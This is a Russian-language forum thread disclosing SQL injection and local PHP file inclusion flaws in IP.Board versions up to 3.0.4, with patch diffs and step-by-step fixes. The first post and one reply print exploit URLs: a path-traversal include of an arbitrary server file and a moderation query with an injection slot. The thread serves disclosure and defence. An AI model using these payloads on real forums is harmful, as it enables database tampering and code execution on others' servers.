Перейти к контенту
  • 0

IP.Board, все версии <= 3.0.4: SQL Injection & PHP Inclusion


Ritsuka

Вопрос

Из-за ошибки в /admin/applications/forums/sources/classes/moderate.php пользователи с правами модератора могут выполнить SQL Injection.

 

Патча для 3.0.4 от IPS не будет - исправление включат в состав 3.0.5, выходящей на этой неделе. Думаю, IBR имеет смысл либо выпустить свой патч, либо в этот раз значительно поторопиться с выпуском переведенной версии.

 

А до тех пор совет всем - снять модератора со всех сомнительных персон.

 

Так же обнаружена проблема с возможностью local php file inclusion в другом месте. Эту проблему в IPS назвали "совершенно не опасной".

 

http://community.invisionpower.com/topic/2...ished-exploits/

http://www.securityfocus.com/bid/37208/info

http://seclists.org/bugtraq/2009/Dec/46

 

 

Эксплоиты:

 

1) Включение посторонних PHP-файлов:

http://www.example.com/forum/index.php?app=core&module=global&section=register&any=?section
=../../../../../../../../../../../../../../../../../../../../../../../../../../home/www/some/terrible/php/script/form/same/server.php

 

2) Выполнение произвольных запросов:

http://www.example.com/forum/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20[ваш код здесь =Ъ]

 

Вот так.

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

Рекомендуемые сообщения

  • 0

по 2 в 2.1.6:

хотя в ./sources/lib/func_mod.php есть

		if ( intval($starter_id) )
	{
		$sql .= " AND starter_id=$starter_id";

	}

хорошо бы сделать

		if ( intval($starter_id) )
	{
		$sql .= " AND starter_id=".intval($starter_id);

	}

и также поступить со всеми проверками в функции sql_prune_create

 

в 3.0.х это находится в

./admin/applications/forums/sources/classes/moderate.php

public function sqlPruneCreate

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Arhar, вот вам хорошо и спокойно на вашей 2.1.6 :D Весь код знаете уже как на ладони ;)

 

Мммм.... А еще вот владельцам shared-хостинга стоит напрячься. Что стоит вашему соседу записать файл /tmp/fuck.php и набрать адрес?

http://www.example.com/forum/index.php?app=core&module=global&section=register&any=?section
=../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/fuck.php

 

Это европейцам и американцам хорошо, у них все на VSP и дедиках сидят, а вот для россиян баг с include в основной массе критичен.

 

Вот тут подробно на английском расписана и атака, и кому это опасно, и даже приведены патчи: http://www.securityfocus.com/archive/1/508207

 

IPB 3.0.4 patch:

 

diff -Nprub ipb304/admin/applications/forums/sources/classes/
moderate.php ipb304-patched/admin/applications/forums/sources/classes/
moderate.php
--- ipb304/admin/applications/forums/sources/classes/moderate.php
2009-10-08 16:34:50.000000000 +0100
+++ ipb304-patched/admin/applications/forums/sources/classes/
moderate.php 2009-11-29 01:01:49.000000000 +0000
@@ -1829,18 +1829,18 @@ class moderatorLibrary

if ( intval($date_exp) )
{
- $sql .= " AND last_post < {$date_exp}";
+ $sql .= " AND last_post < ". intval($date_exp);
}

if ( intval($starter_id) )
{
- $sql .= " AND starter_id={$starter_id}";
+ $sql .= " AND starter_id=". intval($starter_id);

}

if ( intval($post_min) )
{
- $sql .= " AND posts < {$post_min}";
+ $sql .= " AND posts < ". intval($post_min);
}

if ($topic_state != 'all')
diff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/
admin/sources/base/ipsRegistry.php
--- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08
16:34:24.000000000 +0100
+++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29
00:57:13.000000000 +0000
@@ -479,6 +479,9 @@ class ipsRegistry

/* First pass of app set up. Needs to be BEFORE caches and member
are set up */
self::_fUrlInit();
+ IPSLib::cleanGlobals( $_GET );
+ IPSLib::cleanGlobals( $_REQUEST );
+ IPSLib::cleanGlobals( self::$request );

self::_manageIncomingURLs();

 

IPB 2.3.6 patch:

diff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/
func_mod.php
--- ipb236/sources/lib/func_mod.php 2009-11-29 01:10:13.000000000 +0000
+++ ipb236-patched/sources/lib/func_mod.php 2009-11-29
01:19:23.000000000 +0000
@@ -1219,18 +1219,18 @@ class func_mod

if ( intval($date_exp) )
{
- $sql .= " AND last_post < $date_exp";
+ $sql .= " AND last_post < ". intval($date_exp);
}

if ( intval($starter_id) )
{
- $sql .= " AND starter_id=$starter_id";
+ $sql .= " AND starter_id=". intval($starter_id);

}

if ( intval($post_min) )
{
- $sql .= " AND posts < $post_min";
+ $sql .= " AND posts < ". intval($post_min);
}

if ($topic_state != 'all')

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0

А ошибка действительно нубская какая-то... Кто не знает, что intval("1 and kill yourself") == intval("1")? Гениальность проверки поражает....

 

А в _fUrlInit() вообще тупо забыли вставить очистку переменных.... :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Собственно у IPS всегда такие ошибки и были.

 

SQL инъекция кстати не так и страшно, а вот Code Injection это плохо, очень плохо...

 

Исправление для 3.0.4

В файле ./admin/applications/forums/sources/classes/moderate.php

Найти

		if ( intval($date_exp) )
	{
		$sql .= " AND last_post < {$date_exp}";
	}

	if ( intval($starter_id) )
	{
		$sql .= " AND starter_id={$starter_id}";

	}

	if ( intval($post_min) )
	{
		$sql .= " AND posts < {$post_min}";
	}

 

Заменить на

		if ( intval($date_exp) )
	{
		$sql .= " AND last_post < ". intval($date_exp);
	}

	if ( intval($starter_id) )
	{
		$sql .= " AND starter_id=". intval($starter_id);

	}

	if ( intval($post_min) )
	{
		$sql .= " AND posts < ". intval($post_min);
	}

 

В файле /admin/sources/base/ipsRegistry.php

 

Найти

		/* First pass of app set up. Needs to be BEFORE caches and member are set up */
	self::_fUrlInit();

 

Заменить

		/* First pass of app set up. Needs to be BEFORE caches and member are set up */
	self::_fUrlInit();

	IPSLib::cleanGlobals( $_GET );
	IPSLib::cleanGlobals( $_REQUEST );
	IPSLib::cleanGlobals( self::$request );

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.